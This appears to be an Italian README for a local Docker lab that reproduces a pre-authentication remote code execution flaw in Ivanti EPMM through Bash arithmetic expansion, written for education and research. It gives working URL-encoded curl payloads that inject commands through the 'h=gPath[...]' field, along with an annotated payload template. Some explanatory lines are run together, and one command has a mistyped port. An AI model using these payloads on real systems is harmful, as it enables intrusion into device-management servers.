
Una semplice applicazione demo che mostra come riprodurre la vulnerabilità RCE pre-autenticazione di Ivanti EPMM (CVE-2026-1281 / CVE-2026-1340) a scopo educativo e di ricerca sulla sicurezza.
Una semplice applicazione demo che mostra come riprodurre la vulnerabilità RCE pre-autenticazione Ivanti EPMM (CVE-2026-1281 / CVE-2026-1340) a scopo educativo e di ricerca sulla sicurezza.
Questa vulnerabilità sfrutta il comportamento dell'espansione aritmetica di Bash. Quando una variabile contenente un riferimento a un'altra variabile viene utilizzata in un contesto aritmetico, e la variabile referenziata contiene un indice di array con sostituzione di comando, il comando viene eseguito.
st=theValue (stringa letterale "theValue" con padding)h=gPath[\comando`]` (comando nell'indice dell'array)theValue a ogni iterazionegStartTime viene impostato sulla stringa letterale "theValue"theValue contiene gPath[\comando`]`[[ ${currentTime} -gt ${gStartTime} ]]:
${gStartTime} → "theValue" (stringa)theValue come riferimento a variabiletheValue → gPath[\comando`]`# Compila e avvia il container
docker-compose up --build -d
# Verifica che sia in esecuzione
curl http://localhost:8180/health
Crea un file per dimostrare l'esecuzione del comando:
# Payload codificato in URL: id > /mi/poc
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa"
# Verifica se il file è stato creato
cat artifacts/poc
Verifica con un comando sleep:
# La risposta dovrebbe richiedere ~5 secondi
time curl "http://localhost:81080/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%205%60%5D/test.ipa"
# Scrivi contenuto personalizzato
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20PWNED%20%3E%20/mi/pwned%60%5D/test.ipa"
cat artifacts/pwned
/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60COMANDO%60%5D/uuid.ipa
│ │ │ │
│ │ │ └─ Payload: gPath[`COMANDO`]
│ │ └─ Timestamp finale (10 cifre qualsiasi)
│ └─ CRITICO: "theValue" letterale + 2 spazi (10 caratteri totali)
└─ Indice chiave (qualsiasi valore)
# Visualizza i log del container
docker-compose logs -f
# Ottieni una shell nel container
docker exec -it ivanti-epmm-vuln /bin/bash
# Controlla i log degli errori di nginx
docker exec -it ivanti-epmm-vuln cat /var/log/nginx/error.log
docker-compose down
rm -rf artifacts/*
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopo educativo. Non utilizzarlo contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione al test.